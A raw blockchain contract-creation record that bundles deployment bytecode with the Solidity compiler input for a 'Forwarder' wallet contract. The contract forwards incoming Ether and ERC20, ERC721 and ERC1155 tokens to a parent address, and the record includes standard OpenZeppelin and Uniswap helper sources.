3dfd56e5ca2eeda6d6aa0d1e312314ef3f07caf7
|
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,502,280 |
fca9f9b42a4ea0075e7559b1e51454201710d43d27b245614cd84cc06a373300
|
66721e192b9ab2249e0725a7d6aedeb57a27f79260eecb337fffcecf2c5fdae1
|
58ccab93803727d2feed2e1b0ae0e9b01a933fdb
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
b9ea3c6f55493d21de1cd699c7bf8b5bae64c185
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
